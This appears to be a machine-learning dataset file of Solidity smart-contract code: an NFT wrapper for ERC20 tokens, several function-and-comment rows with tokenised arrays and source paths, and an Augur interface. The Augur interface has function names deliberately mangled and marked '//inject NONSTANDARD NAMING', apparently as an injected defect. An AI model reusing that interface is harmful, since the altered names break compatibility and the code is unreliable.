// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol"; /// @title An NFT factory to wrap ERC20s /// @author @hdahme /// @dev This is moderately inefficient with gas contract TrustlessTrust is ERC721PresetMinterPauserAutoId { event LogDeposit(address indexed actor, uint indexed tokenId); event LogWithdrawal(address indexed actor, uint indexed tokenId); event LogInsufficientBalance(address indexed tokenAddress, address indexed actor, uint indexed tokenId); event LogWithdrawalError(address indexed tokenAddress, address indexed actor, uint indexed tokenId); // Token id => token owners => ERC20 address => ERC20 balance. // This could be done a little more efficiently with structs, but ¯\_( ツ )_/¯ mapping(uint => mapping(address => mapping(address => uint))) tokenBalances; constructor() ERC721PresetMinterPauserAutoId( "TLT", "Trustless Trust", "" ) {} /// @notice Ensures only the token owner can call the modified function /// @param tokenId The tokenId to operate on modifier onlyTokenOwner(uint tokenId) { require(ownerOf(tokenId) == msg.sender, "Only the owner can modify their assets"); _; } /// @notice Fetches the user's balance of the specified token /// @param tokenId The tokenId to operate on /// @param tokenAddress The address of the wrapped ERC20 /// @return The user's balance of the relevant asset, in the relevant token function balanceOf(uint tokenId, address tokenAddress) public view returns (uint) { return tokenBalances[tokenId][msg.sender][tokenAddress]; } /// @notice Deposits <amounts> of <assets> to this token /// @param tokenId The tokenId to operate on /// @param assetAddresses An array of the ERC20 addresses to deposit /// @param assetAmounts An array of the amount of ERC20 to deposit function deposit(uint tokenId, address[] memory assetAddresses, uint[] memory assetAmounts) public onlyTokenOwner(tokenId) { require(assetAddresses.length == assetAmounts.length, "Number of assets and number of amounts must be equal"); uint assetLength = assetAddresses.length; for (uint i = 0; i < assetLength; i++) { ERC20 erc20 = ERC20(assetAddresses[i]); require(erc20.transferFrom(msg.sender, address(this), assetAmounts[i])); tokenBalances[tokenId][msg.sender][assetAddresses[i]] += assetAmounts[i]; } emit LogDeposit(msg.sender, tokenId); } /// @notice Withdraws <amounts> of <assets> to from token /// @param tokenId The tokenId to operate on /// @param assetAddresses An array of the ERC20 addresses to withdraw /// @param assetAmounts An array of the amount of ERC20 to withdraw function withdraw(uint tokenId, address[] memory assetAddresses, uint[] memory assetAmounts) public onlyTokenOwner(tokenId) { require(assetAddresses.length == assetAmounts.length, "Number of assets and number of amounts must be equal"); for (uint i = 0; i < assetAddresses.length; i++) { if (tokenBalances[tokenId][msg.sender][assetAddresses[i]] < assetAmounts[i]) { emit LogInsufficientBalance(assetAddresses[i], msg.sender, tokenId); } else if (assetAddresses[i] != address(0)) { // Prevent reentrancy tokenBalances[tokenId][msg.sender][assetAddresses[i]] -= assetAmounts[i]; ERC20 token = ERC20(assetAddresses[i]); require(token.transfer(msg.sender, assetAmounts[i])); } } emit LogWithdrawal(msg.sender, tokenId); } // Prevent wrapping with itself function transferFrom(address _from, address _to, uint256 _tokenId) override public { require(_to != address(this)); return super.transferFrom(_from, _to, _tokenId); } }
Prevent wrapping with itself
function transferFrom(address _from, address _to, uint256 _tokenId) override public { require(_to != address(this)); return super.transferFrom(_from, _to, _tokenId); }
6,447,505
[ 1, 25828, 14702, 598, 6174, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 2316, 548, 13, 3849, 1071, 288, 203, 3639, 2583, 24899, 869, 480, 1758, 12, 2211, 10019, 203, 3639, 327, 2240, 18, 13866, 1265, 24899, 2080, 16, 389, 869, 16, 389, 2316, 548, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x0f1C828e2a459a824B73fbaA908Db5cb2D2cb845/sources/browser/AyMaBot.sol
Track the balance of the token RECEIVED from the trade Swap on AMM: give _fromToken, receive _toToken Read _toToken balance after swap Calculate how much of the token we received Swap on AMM: give _toToken, receive _fromToken
function _tradeAMMtoAMM(address[] calldata _pool, address _fromToken, address _toToken, uint256 _fromAmount, bytes calldata _1InchDataOne, bytes calldata _1InchDataTwo, uint256[] calldata _flag) internal { uint256 _beforeBalance = IERC20(_toToken).balanceOf(address(this)); bool success = _swap(_pool[0], _fromToken, _fromAmount, _1InchDataOne, _flag[0]); require(success, "Swap failed!"); uint256 _afterBalance = IERC20(_toToken).balanceOf(address(this)); uint256 _toAmount = SafeMath.sub(_afterBalance, _beforeBalance); _swap(_pool[1], _toToken, _toAmount, _1InchDataTwo, _flag[1]); }
9,600,500
[ 1, 4402, 326, 11013, 434, 326, 1147, 2438, 1441, 20764, 628, 326, 18542, 12738, 603, 432, 8206, 30, 8492, 389, 2080, 1345, 16, 6798, 389, 869, 1345, 2720, 389, 869, 1345, 11013, 1839, 7720, 9029, 3661, 9816, 434, 326, 1147, 732, 5079, 12738, 603, 432, 8206, 30, 8492, 389, 869, 1345, 16, 6798, 389, 2080, 1345, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 389, 20077, 2192, 49, 869, 2192, 49, 12, 2867, 8526, 745, 892, 389, 6011, 16, 1758, 389, 2080, 1345, 16, 1758, 389, 869, 1345, 16, 2254, 5034, 389, 2080, 6275, 16, 1731, 745, 892, 389, 21, 382, 343, 751, 3335, 16, 1731, 745, 892, 389, 21, 382, 343, 751, 11710, 16, 2254, 5034, 8526, 745, 892, 389, 6420, 13, 2713, 288, 203, 202, 377, 203, 3639, 2254, 5034, 389, 5771, 13937, 273, 467, 654, 39, 3462, 24899, 869, 1345, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 540, 203, 3639, 1426, 2216, 273, 389, 22270, 24899, 6011, 63, 20, 6487, 389, 2080, 1345, 16, 389, 2080, 6275, 16, 389, 21, 382, 343, 751, 3335, 16, 389, 6420, 63, 20, 19226, 203, 202, 202, 6528, 12, 4768, 16, 315, 12521, 2535, 4442, 1769, 203, 1082, 203, 3639, 2254, 5034, 389, 5205, 13937, 273, 467, 654, 39, 3462, 24899, 869, 1345, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 540, 203, 3639, 2254, 5034, 389, 869, 6275, 273, 14060, 10477, 18, 1717, 24899, 5205, 13937, 16, 389, 5771, 13937, 1769, 203, 540, 203, 3639, 389, 22270, 24899, 6011, 63, 21, 6487, 389, 869, 1345, 16, 389, 869, 6275, 16, 389, 21, 382, 343, 751, 11710, 16, 389, 6420, 63, 21, 19226, 203, 202, 97, 203, 202, 203, 202, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x69FEc95a573eaA102d10AD943bc149442CD8D43e/sources/MrBean2.sol
* @dev Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`./
function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; }
2,710,182
[ 1, 3641, 6478, 23850, 3304, 326, 1699, 1359, 17578, 358, 1375, 87, 1302, 264, 68, 635, 326, 4894, 18, 1220, 353, 392, 10355, 358, 288, 12908, 537, 97, 716, 848, 506, 1399, 487, 279, 20310, 360, 367, 364, 9688, 11893, 316, 288, 45, 654, 39, 3462, 17, 12908, 537, 5496, 7377, 1282, 392, 288, 23461, 97, 871, 11193, 326, 3526, 1699, 1359, 18, 29076, 30, 300, 1375, 87, 1302, 264, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 87, 1302, 264, 68, 1297, 1240, 1699, 1359, 364, 326, 4894, 434, 622, 4520, 1375, 1717, 1575, 329, 620, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20467, 7009, 1359, 12, 203, 3639, 1758, 17571, 264, 16, 203, 3639, 2254, 5034, 10418, 329, 620, 203, 565, 262, 1071, 5024, 1135, 261, 6430, 13, 288, 203, 3639, 2254, 5034, 783, 7009, 1359, 273, 389, 5965, 6872, 63, 67, 3576, 12021, 1435, 6362, 87, 1302, 264, 15533, 203, 3639, 2583, 12, 203, 5411, 783, 7009, 1359, 1545, 10418, 329, 620, 16, 203, 5411, 315, 654, 39, 3462, 30, 23850, 8905, 1699, 1359, 5712, 3634, 6, 203, 3639, 11272, 203, 3639, 389, 12908, 537, 24899, 3576, 12021, 9334, 17571, 264, 16, 783, 7009, 1359, 300, 10418, 329, 620, 1769, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x1c20bfE3771F05B52eF1B02aDD8a5Ad37BE2d512/sources/contracts/APPEggs.sol
================================================================== override TokenUriSupplier ==================================================================
function uri(uint256 tokenId) public view virtual override returns (string memory) { return TokenUriSupplier.tokenURI(tokenId); }
3,106,175
[ 1, 9917, 631, 3849, 3155, 3006, 13254, 422, 9917, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2003, 12, 11890, 5034, 1147, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 3849, 203, 3639, 1135, 261, 1080, 3778, 13, 203, 565, 288, 203, 3639, 327, 3155, 3006, 13254, 18, 2316, 3098, 12, 2316, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x6C22c3Bd086DCa9Bbb9d9ABe5B5d77827560bEEB/sources/contracts/escrow/AnonymousNativeDeal.sol
* @dev Modifier to make a function callable only when the contract is in INIT_STATE./
modifier onlyOnInit() { require(state == INIT_STATE, "Can deposit only in INIT"); _; } address _platform, address _contractor, address _contractee, uint256 _amount
1,933,599
[ 1, 9829, 358, 1221, 279, 445, 4140, 1338, 1347, 326, 6835, 353, 316, 12584, 67, 7998, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 1398, 2570, 1435, 288, 203, 3639, 2583, 12, 2019, 422, 12584, 67, 7998, 16, 315, 2568, 443, 1724, 1338, 316, 12584, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 203, 203, 3639, 1758, 389, 9898, 16, 203, 3639, 1758, 389, 16351, 280, 16, 203, 3639, 1758, 389, 16351, 1340, 16, 203, 3639, 2254, 5034, 389, 8949, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.15; contract IAugur { function CREATECHILDUNIVERSE712(bytes32 _parentPayoutDistributionHash, uint256[] memory _parentPayoutNumerators) public returns (IUniverse); //inject NONSTANDARD NAMING function ISKNOWNUNIVERSE698(IUniverse _universe) public view returns (bool); //inject NONSTANDARD NAMING function TRUSTEDCASHTRANSFER967(address _from, address _to, uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING function ISTRUSTEDSENDER635(address _address) public returns (bool); //inject NONSTANDARD NAMING function ONCATEGORICALMARKETCREATED679(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash, bytes32[] memory _outcomes) public returns (bool); //inject NONSTANDARD NAMING function ONYESNOMARKETCREATED215(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash) public returns (bool); //inject NONSTANDARD NAMING function ONSCALARMARKETCREATED844(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash, int256[] memory _prices, uint256 _numTicks) public returns (bool); //inject NONSTANDARD NAMING function LOGINITIALREPORTSUBMITTED874(IUniverse _universe, address _reporter, address _market, address _initialReporter, uint256 _amountStaked, bool _isDesignatedReporter, uint256[] memory _payoutNumerators, string memory _description, uint256 _nextWindowStartTime, uint256 _nextWindowEndTime) public returns (bool); //inject NONSTANDARD NAMING function DISPUTECROWDSOURCERCREATED646(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] memory _payoutNumerators, uint256 _size, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTECROWDSOURCERCONTRIBUTION255(IUniverse _universe, address _reporter, address _market, address _disputeCrowdsourcer, uint256 _amountStaked, string memory description, uint256[] memory _payoutNumerators, uint256 _currentStake, uint256 _stakeRemaining, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTECROWDSOURCERCOMPLETED546(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] memory _payoutNumerators, uint256 _nextWindowStartTime, uint256 _nextWindowEndTime, bool _pacingOn, uint256 _totalRepStakedInPayout, uint256 _totalRepStakedInMarket, uint256 _disputeRound) public returns (bool); //inject NONSTANDARD NAMING function LOGINITIALREPORTERREDEEMED338(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256[] memory _payoutNumerators) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTECROWDSOURCERREDEEMED9(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256[] memory _payoutNumerators) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETFINALIZED368(IUniverse _universe, uint256[] memory _winningPayoutNumerators) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETMIGRATED444(IMarket _market, IUniverse _originalUniverse) public returns (bool); //inject NONSTANDARD NAMING function LOGREPORTINGPARTICIPANTDISAVOWED43(IUniverse _universe, IMarket _market) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETPARTICIPANTSDISAVOWED537(IUniverse _universe) public returns (bool); //inject NONSTANDARD NAMING function LOGCOMPLETESETSPURCHASED486(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets) public returns (bool); //inject NONSTANDARD NAMING function LOGCOMPLETESETSSOLD144(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets, uint256 _fees) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETOICHANGED928(IUniverse _universe, IMarket _market) public returns (bool); //inject NONSTANDARD NAMING function LOGTRADINGPROCEEDSCLAIMED757(IUniverse _universe, address _sender, address _market, uint256 _outcome, uint256 _numShares, uint256 _numPayoutTokens, uint256 _fees) public returns (bool); //inject NONSTANDARD NAMING function LOGUNIVERSEFORKED116(IMarket _forkingMarket) public returns (bool); //inject NONSTANDARD NAMING function LOGREPUTATIONTOKENSTRANSFERRED904(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING function LOGREPUTATIONTOKENSBURNED995(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGREPUTATIONTOKENSMINTED985(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGSHARETOKENSBALANCECHANGED123(address _account, IMarket _market, uint256 _outcome, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTECROWDSOURCERTOKENSTRANSFERRED932(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTECROWDSOURCERTOKENSBURNED518(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTECROWDSOURCERTOKENSMINTED48(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGDISPUTEWINDOWCREATED79(IDisputeWindow _disputeWindow, uint256 _id, bool _initial) public returns (bool); //inject NONSTANDARD NAMING function LOGPARTICIPATIONTOKENSREDEEMED534(IUniverse universe, address _sender, uint256 _attoParticipationTokens, uint256 _feePayoutShare) public returns (bool); //inject NONSTANDARD NAMING function LOGTIMESTAMPSET762(uint256 _newTimestamp) public returns (bool); //inject NONSTANDARD NAMING function LOGINITIALREPORTERTRANSFERRED573(IUniverse _universe, IMarket _market, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETTRANSFERRED247(IUniverse _universe, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING function LOGPARTICIPATIONTOKENSTRANSFERRED386(IUniverse _universe, address _from, address _to, uint256 _value, uint256 _fromBalance, uint256 _toBalance) public returns (bool); //inject NONSTANDARD NAMING function LOGPARTICIPATIONTOKENSBURNED957(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGPARTICIPATIONTOKENSMINTED248(IUniverse _universe, address _target, uint256 _amount, uint256 _totalSupply, uint256 _balance) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETREPBONDTRANSFERRED31(address _universe, address _from, address _to) public returns (bool); //inject NONSTANDARD NAMING function LOGWARPSYNCDATAUPDATED845(address _universe, uint256 _warpSyncHash, uint256 _marketEndTime) public returns (bool); //inject NONSTANDARD NAMING function ISKNOWNFEESENDER211(address _feeSender) public view returns (bool); //inject NONSTANDARD NAMING function LOOKUP594(bytes32 _key) public view returns (address); //inject NONSTANDARD NAMING function GETTIMESTAMP626() public view returns (uint256); //inject NONSTANDARD NAMING function GETMAXIMUMMARKETENDDATE626() public returns (uint256); //inject NONSTANDARD NAMING function ISKNOWNMARKET166(IMarket _market) public view returns (bool); //inject NONSTANDARD NAMING function DERIVEPAYOUTDISTRIBUTIONHASH812(uint256[] memory _payoutNumerators, uint256 _numTicks, uint256 numOutcomes) public view returns (bytes32); 